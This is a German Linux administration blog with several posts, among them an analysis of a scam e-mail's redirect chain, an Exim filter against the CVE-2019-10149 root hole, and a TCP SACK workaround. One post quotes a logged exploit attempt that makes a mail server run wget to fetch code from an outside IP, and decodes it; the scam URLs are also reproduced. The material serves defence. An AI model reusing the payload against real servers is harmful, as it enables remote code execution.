Scammer werden immer nachlässiger

Da rollte uns heute morgen doch glatt diese Scammer E-Mail ins Postfach, die einen kuriosen Inhalt hatte:

Beginnen Sie in den nächsten 6 Minuten damit, 
Geld zu verdienen beeilen Sie sich, 
es sind nur noch wenige Plätze verfügbar, 
um mit dieser großartigen Plattform Geld zu verdienen.
Heller announced it was time to leave and retired to the local pilot seat. I dutifully struggled to shut the airlock but my hands werent working. Heller didnt wait. He lifted us from the pad while I dangled out of the open door until someone pulled me in and slammed it shut. 
Die Mitglieder profitieren bereits davon und dies ist Ihre letzte Chance, 
um an Bord zu kommen und es jenen gleich zu tun.
Menschen auf der ganzen Welt verdienen Millionen und nun sind Sie an der Reihe. 
Folgen Sie diesem Link, um sich heute kostenlos anzumelden.


Viele Verpassen Sie es nicht, Walter Herrmann

Jetzt wird nur dummerweise nicht ganz klar, wie man denn dem Link folgen soll 🙂 Ihr werdet es auch nicht schaffen, denn da ist kein Link mitgekommen 😀

…Eine Iteration der Scammer E-Mail später…

fand sich dann dieser Link:

http://lexus-krasnoyarsk-club.ru/pjrucpddzcurz
(der Link wurde zu Ihrem Schutz entschärft)

Diese leitete den User in einer Stafette weiter …

„https://go.info-project-1.ru/go/0e0b1c43-ff12-4481-89fa-2819b6f98b57“
„http://go.2track500.com/aff_c?offer_id=405&aff_id=4434“
„https://woodsilvergold.com/api/v1/flows/198/click?id=1026cf10367efd6611146713838ff1&offer_id=405&affiliate_id=4434&device_brand=Robot&device_model=Bot+or+Crawler&device_os=&ip=37.143.199.61&country_code=DE&advertiser_id=2&source=&aff_sub=&aff_sub2=&aff_sub3=&aff_sub4=&aff_sub5=“

um dann bei

„https://bitcoincodesoftapps.com?click=50743610&mode=optin&api_url=%2F%2Fwoodsilvergold.com%2Fapi%2Fv1&p=woodsilvergold.com%2Fapi%2Fv1%2Fpixels%2F50743610%3Fpixels%3D440&pL=woodsilvergold.com%2Fapi%2Fv1%2Fpixels%2F50743610%3Fpixels%3D441&push=0“

vermutlich einen Clickbetrug zu begehen 🙂 Den Link habe ich dann nicht mehr mitgemacht 😉

Da in letzter Zeit aus Russland echt nur Müll angeschwemmt wurde, hat sich folgende Regel in der Firewall als brauchbar herausgestellt :

REJECT all — 185.254.188.0/22 0.0.0.0/0 reject-with icmp-port-unreachable

Denn auch die ursprüngliche Scammer-Domain liegt in dem Netzwerk. Es besteht der Verdacht, daß das gesamte Netzwerk zu einer Neuauflage des RBN gehört, ergo nur Verbrecherseiten beherbergt.Rate mal welche IP der die letzte Domain in der Kette hat …

bitcoincodesoftapps.com has address 185.254.188.7

und oh Wunder…schaut mal wo der original Link herkommt …

lexus-krasnoyarsk-club.ru has address 185.254.188.162

na sowas aber auch.. welch ein Zufall 😉

Wie man bei Jitsi verpasste SIP Anrufe sieht

Wenn man Jitsi mit Sipgate zusammen laufen hat, kann es vorkommen, daß man in der GUI nicht erkennen kann, wer denn da nun angerufen hat. Das liegt wohl an Sipgate und deren defekten From:-headern.

So könnt Ihr trotzdem an die Nummer kommen:

# strings .jitsi/log/jitsi0.pcap |grep From: |sed -e „s/tag=.*$//g“ | sort -u
From: „Deine Anschlussnummer“ <sip:Anrufernummer@sipgate.de>;

Wenn man das macht, kommen noch andere Nummern zum Vorschein, aber das sind i.d.R. nur interne SIP Nachrichten oder auch Chaos im Protokoll. Wer das so designed hat, mochte auch „Das Auge der Pyramide„, ein Buch, daß man nur unter Drogeneinfluss lesen sollte. ( Es macht sonst eher einen verwirrten Eindruck. )

Games: Astrolords mit Touchsupport?

Gibt es Linux Games die touchaware sind? Dieser Frage bin ich letzte Woche nachgegangen und habe ein russisches Freemiumgame namens Astrolords gefunden. Die Webseite itch.io hat sich auf Independence Games  spezialisiert und bietet u.a. als Tag „Touchsupport“ an. Bei der Suche kamen einige Spiele und „Demonstrationen“ raus, die es meistens auch für Linux gab. Im Gegensatz zu Humble, Steam oder GOG,  braucht man sich für den Download nicht registrieren oder digital zu entblößen, was die Sache ganz sympathisch macht 😉

Itch.io – Indy Spieleplattform

Allerdings kann man das nur dann, wenn das Spiel wirklich gratis geladen werden kann. Da es auch kostenpflichtige Spiele gibt, kommt man dann leider nicht um eine Registrierung herum. Dazu müßte man natürlich erstmal was finden 😉 Sind wir mal ehrlich, Indy Games sind nicht immer das was Hardcorespieler haben wollen. Ich habe da Sachen gesehen, die waren eine Beleidigung fürs Auge, da kann man nur hoffen, daß das Spielkonzept das wieder aufwiegt 😀 Es sind aber auch echt coole Sachen dabei, z.b. ein Bombenentschärfungsprogramm. Im Demo sah das richtig gut und spaßig aus, leider lief das Spiel dann auf Linux nicht.

Aber kommen wir zu dem Spiel, das dann auch lief und eben nicht grusselige Grafik hatte: Astrolords.

Astrolords wurde bereits 2014 auf den Mark gebracht, scheint aber als MMOG eher unbekannt zu sein, da es aus Russland stammt. Das merkt man dem Spiel aber nicht an, da es komplett auf Englisch verfügbar ist, lediglich der internationale Chat zeugt von der russischen Benutzerschaft, den kann man aber ausblenden, wenn man will. Da der Chat extra auch einen deutschen Kanal hat, kann man sich leicht behelfen. Kommen wir  zum Spiel.

Die Eckdaten

Es ist nichts für kleine Grafikkarten oder schwache Tablets. Da die Steuerung in einem 3DModus abläuft, sind die Anforderungen an die HW ganz schön heftig, aber zum Glück, dann man die Anforderungen runter regeln. Schaut mal hier in den Screenshot nach links unten, das passiert auf dem i7 Pro 4 bei voller CPU und GPU Leistung für 3k Auflösung 🙂
Das Spiel ist erstmal ein Aufbauspiel, dessen Aufbauseite lediglich der Kampfseite dient, die dann andere Spieler überfällt oder auch nicht, denn Handel und Ausbeutung von Ressourcen ist auch eine valide Spieloption. Natürlich gibt es wie bei allen Vertretern dieses Genre auch einen Skilltree:

Der gleich am Anfang richtig viel Zeit kosten kann, wenn, ja wenn man nicht bezahlen will 😉 Und da ein Skilltree nicht genug ist, gibt es gleich mehrere unabhängige davon 🙂 Man darf natürlich wieder jede Menge Gebäude bauen, die man erstmal erforschen muß …

… um sie dann auf der eigenen Sternenbasis aufbauen zu dürfen. Dazu gibt es wieder jede Menge Upgrades der Gebäude, die sich alle gegenseitig bedingen um den Spieler bei Laune zu halten.

Natürlich muß man auch hier wieder questen:

um an Ressourcen zu kommen. Lagerfähigkeiten müssen natürlich auch laufend hochgezogen werden und dann ist da noch die Verteidigung der Basis an sich. Die Kämpfe finden in 2D statt, und sind vom Ablauf her eher unspektakulär, weil umständlich.

Die Bewertung

An meiner wenig enthusiastischen Beschreibung könnt Ihr schon sehen, es hat mich am Anfang nicht von den Socken gehauen. Der Freemiumgedanke ist doch recht ausgeprägt und das macht den Einstieg wenig attraktiv. Selbstverständlich bekommt man als Köder schon Währung zur Beschleunigung der Vorgänge, aber die ist extrem schnell weg, wenn man sich nicht beherrschen kann. Ansonsten siehts ganz nett aus, was man so bislang gesehen hat. Wer ein Spiel für einen seeehr langen Zeitraum sucht, dem dürfte das Spiel entgegenkommen. Der Soundtrack sagt mir auch zu, auch wenn der 1:1 so in einem Fantasy MMORPG vorkommen könnte.

Jetzt stellt sich ja noch die Frage nach dem Touchsupport und die kann man nicht ganz mit Ja oder Nein beantworten: Ja, es geht mit Touch zu bedienen, aber nicht vollständig. Texte muß man z.b. mit Keyboard eingeben, da kein OSK kommt. Ich tippe mal auf „Kein-Wayland-Support“, was im Baujahr 2014 kein Wunder sein dürfte. Nichts desto trotz kann man das Spiel fast vollständig mit Touch bedienen, daß alles mehr oder weniger mit der Linken Maustaste auskommt. Keyboardshortcuts kann man so natürlich nicht benutzen was im Kampf etwas hinderlich sein kann, aber so schlecht wars dann auch wieder nicht. Ich geb hier mal 8 von 10 Punkten, weil es bislang nicht wirklich negativ aufgefallen ist.

Ich glaube aber auch, daß der Suchtag bei Itch.io nicht wirklich 100% Waylandtouch meint, eher geht mit Windows-Touchscreens 😉

Links: https://astrolords.itch.io/astrolords

Dell Venue 8 Pro Tablet mit Linux

Fedora 31: keine i686 Kernels mehr?

Die Schlacht um i686 geht in die nächste Runde, kaum das Ubuntu zurück gerudert hat bzw. sich da noch windet, schlagen die ersten bei Fedora in die gleiche Kerbe: Keine i686 Kernels mehr.

Keine i686er Kernels mehr für Fedora 31+

Ben Cotton hat dazu geschrieben:

On Fri, 21 Jun 2019 at 14:15, Ben Cotton <bcotton@redhat.com> wrote:

https://fedoraproject.org/wiki/Changes/Stop_Building_i686_Kernels

== Summary ==
Stop building i686 kernels, reduce the i686 package to a kernel-headers package that can be used to build 32bit versions of everything else.

Anders als bei Ubuntu sollen alle Supportpakete weiterhin gebaut werden, so daß Wine keine Probleme machen würde, man könnte halt nur keine 32Bit Systeme mehr mit einem neuen Kernel booten und dann in Folge irgendwann gar nicht mehr, weil der Kernel zu dem ganzen Boot/Init des Systems ja in nicht unerheblichen Teilen beiträgt.

Früher oder später war der Schritt ja zu erwarten. Das wenigsten die 32Bit RPMs weiterhin gebaut werden, damit 32 Bit Anwendungen auch unter 64 Bit  funktionieren, ist ein Lichtblick, außer für Besitzer von 32 Bit Systemen.
Ein Wine ohne 32 Bit wäre für viele User ein absolutes No-Go, weil zig alte Windowsgames auf 32 Bit laufen!

Exim – Rootlücken Workaround nicht 100% dicht

Guten Morgen, wer seinen Exim immer noch nicht auf den neusten Stand bringen konnte, der muß jetzt nochmal ran an die Config :

  deny    message       = Restricted characters in address
          domains       = +local_domains
          local_parts   = ^[.] : ^.*[\$@%!/|] : ^.*x24 : ^.*0.44

denn leider kann man mit \x24 das $ maskieren und dann schlägt der alte Regelsatz nicht an. Ob man das zu einem Hack eskalieren kann, ist leider ungeklärt. Sicher ist, daß die Schutzregel versagt und das ist etwas, was man nicht haben will. Die „0.44“ ist dann gegen eine OKTALversion, statt Hexadezimal (\x24) von der Umgehung.

Follow-Up auf:

Quickfix: Exim <= 4.91 for CVE-2019-10149

Die Möchtegern-Exim-Exploitwelle geht weiter

Ich könnte mich wegwerfen vor Lachen, die Scriptkids attackieren tatsächlich Server, die Exim in der gepatchten Version laufen haben oder gleich gar keinen Exim, sondern Postfix 😀

Kleine Umfrage auf unserem Cluster

Und so sieht die neueste Version u.a. aus :

2019-06-19 16:08:46 H=(service.com) [98.158.184.125] F=<support@service.com> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fX.X.X.X\x22}}@XXX.XXXXXXX.XX>: you have been blacklisted.

Ich übersetze mal :

/bin/sh -c „wget 64.50.180.45/tmp/X.X.X.X“

Randnotiz: Das SANS Institute glaubte doch glatt, daß die „/bin/sht -ct“ ausführen wollten, weil deren Postfix die „\t“ in „t“ umgewandelt hatte 🙂

Das obige kann nur funktioniert, wenn man danach auch noch chmod u+x /tmp/X.X.X.X;/tmp/X.X.X.X ausführt und wenn der Server auch mal was ausliefern würde, außer der 404 Seite .. aka… Hack schon gefunden und beseitigt 😉  Naja, die hatten ja auch zwei Tage Zeit 😉

Zu viel Drama um die TCP SACK Problematik

Um dem Drama mal den Schwung aus den Segeln zu nehmen:

sudo echo „0“ > /proc/sys/net/ipv4/tcp_sack

auf den gefixten Linux Kernel warten, rebooten, fertig. Wer keinen neueren Kernel bekommt, trotzdem rebooten muß, der fügt :

net.ipv4.tcp_sack = 0

ans Ende der Datei /etc/sysctl.conf an und schon wird SACK beim Start deaktiviert.

Ich könnte natürlich jetzt auch son Quatsch von mir geben wie :

„Ooohhh! Große Lücke im Kernel! Linux Server werden durch DDOS vom Netz genommen! Panik! Ich sagte PANIK! P.A.N.I.K!!!

blöderweise passierte … rein gar nichts davon 😀

Das jeder seinen Krempel mittlerweile nur noch über den Panikbutton vermarktet, macht es echten Lücken, wie der Exim Root-Exploit Geschichte neulich nicht einfacher. Oder dem Firefox Exploit über Javascript! Was fürn Geheul, und ooooooohhh … zwei Tage später der nächste Security Patch… auch wieder alle im Panikmodus. NOSCRIPT installieren und schon ist Ruhe!

Redhat hat 2 Tage gebraucht den FireFox 67.0.3 zu kompilieren, bevor es endlich mal durchlief und ? Juckt das NOSCRIPT User? Nein 🙂

PS: Wer es für Fedora eilig hat mit dem FF Update : https://koji.fedoraproject.org/koji/buildinfo?buildID=1291078

 

Fedora hat Krita 4.1.8 bekommen und wir ein Problem

Freude, Fedora hat ein Krita Update bekommen \o/ … öhm…auf die sechs Monate alte Version 4.1.8, statt der aktuellen Version 4.2.2. Und damit einen Bug, den Linux Mint schon im Januar hatte, man kann jetzt nämlich das Fenster nicht mehr maximieren. WTF !

„Erfreut Euch an den Bugs, was anderes habt Ihr nicht!“ (Bill Gates)

Ich spare mir mal das lange Palaver über die Ursachen alte Versionen zu compilieren, wenn dann auch noch Bugs drin sind. *Kopfschüttel*  Der Fix ist jedenfalls denkbar einfach. Auf der rechten Seite sind Docker untergebracht. Auf den ersten Blick bemerkt man, daß die Seite komisch aussieht, weil jede Menge neue, völlig unnütze Docker da drin sind. Aus einem mir unverständlichen Grund, triggert das Krita dazu, das Maximize Button im Fensterrahmen abzulehnen und sonst auch alle Request an den Windowmanager das Fenster doch mal zu vergrößern zu verneinen.

Wenn man jetzt ein paar von den Dockern entfernt, braucht man vermutlich eh nicht, dann kommt zuerst die Maximize Funktion wieder und nach dem ersten Refresh des Fensterrahmens ist auch das Button wieder da.

Wer das Zitat von Bill Gates nicht kennt, kann ja mal auf den Text klicken 😉

GEdit und wieder grüßt der Murmelbug

Wir haben das Jahr 2019 und GEdit 3.30 und trotzdem grüßte mich heute der gleiche Bug wie in 2016: ß wird stillschweigend in ss umgewandelt, wenn man was sucht oder ersetzt!

Das ist wie der Murmeltiertag aus dem gleichnamigen Film. Und dieser Bug kann Eurer Frustrationslevel echt hochtreiben, wenn Ihr HTML Dokumente  anpassen müßt, die sehr sehr sehr sehr viele „class=X“ Anweisungen enthalten und die jetzt alle so aussehen „cla&szlig;=X“ , denn wenn man jetzt &szlig; wieder in „ß“ umwandeln lässt bekommt man .. na.. wer rät es .. „claß=X“ … \o/ Da freut sich der Browser mal so richtig drüber! 🙁

Fazit: anderen Editor verwenden! urgs!

Systemd: Aus den Wirren des Paketmanagements

„Aus den Wirren der Paketabhängigkeiten im Dschungel von Systemd“ man könnte einen Roman damit betiteln 🙂  Gestern abend, es war mal wieder Serverupdatezeit, flutschte eine Anzeige eines Fedora-Paketes, daß keinen Sinn machte, über den Bildschirm: qrencode-libs

QR Codes auf einem Server?

Ja, wenn man eine Webseite hat, die z.b. QR Codes ausgibt, weil eine HandyApp einen Bestätigungscode haben will, warum nicht. Dummerweise hatte dieser Server genau einen Job und der hatte nichts mit QR Codes zu tun. „Naja,ok, das wird jemand mal irgendwann für was ausprobiert haben… kann weg!“ denkste Dir so.. und dann kommt das Erwachen: „Wieso will dnf jetzt systemd löschen?“

$ sudo dnf erase qrencode-libs
[sudo] Passwort für  ….. :
Fehler:
Problem: The operation would result in removing the following protected packages: systemd

Das kommt so …

Der Systemd hat eine harte Abhängigkeit auf die lib von dem qrencoder :

$ rpm -q -R systemd | grep qrenc
libqrencode.so.3()(64bit)

ganz genau genommen ist es journalctl:

$ ldd /usr/bin/journalctl |grep qrenc
libqrencode.so.3 => /lib64/libqrencode.so.3 (0x00007fef36540000)

„Kann mir bitte einer erklären, wieso journalctl QR CODES bauen können müßte ?????“

Kann ja wohl nur ein Fehler sein 😉   Der Maintainer bei Redhat war da jetzt anderer Meinung:

What do you mean "wrongfully"? It's "rightfullly" linking against qrencode-libs because that functionality is used by journalctl.
While somewhat unfortunate, it's correct.

Steht aber allein da, denn auch bei Manjaro Linux ist das schon mal jemandem vor mir aufgefallen und siehe:

https://forum.manjaro.org/t/systemd-238-51-1-has-picked-up-a-dependency-on-qrencode/43070

Could this be due to a dirty chroot?

$ ldd `which journalctl`
	linux-vdso.so.1 (0x00007fff47fc9000)
	libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f55fd82e000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007f55fd477000)
	libsystemd-shared-238.so => /usr/lib/systemd/libsystemd-shared-238.so (0x00007f55fd027000)
	libqrencode.so.4 => not found

I’m pretty certain journalctl doesn’t need qrencode?

Das sehe ich auch so, trotzdem habe ich mal etwas geforscht und die Ursache gefunden:

journalctl .c

#if HAVE_QRENCODE
/* If this is not an UTF-8 system don’t print any QR codes */
if (is_locale_utf8()) {
fputs(„\nTo transfer the verification key to your phone please scan the QR code below:\n\n“, stderr);
print_qr_code(stderr, seed, seed_size, n, arg_interval, hn, machine);
}
#endif

Jetzt wirds spannend:

Wozu wird das benutzt?

Um, wenn es ein UTF8-System ist UND der Code mit dem QR Support kompiliert wurde, einen Verifikations Schlüssel als QR CODE fürs Handy auszugeben, um mit dem Versiegelungs-Schlüssel abgesicherte Journaleinträge zu prüfen.

Das Verfahren heißt bei Systemd Forward Secure Sealing (FSS).  Keine Ahnung wer das Feature von Journald nutzt. Es klingt jedenfalls nach einer brauchbaren Idee, falls ein Hacker die Einträge manipuliert. Ich bezweifle aber stark, daß der Key dabei per QR Code an ein Handy übermittelt werden muß, statt per SCP an einen anderen Server.

Für diese eine Zeile Code da oben, die kaum jemand jemals einsetzen wird (Bitte Zahlen liefern, wer welche hat), immer noch diese Lib mit sich rumschleppen… was solls, GB sind billig  😉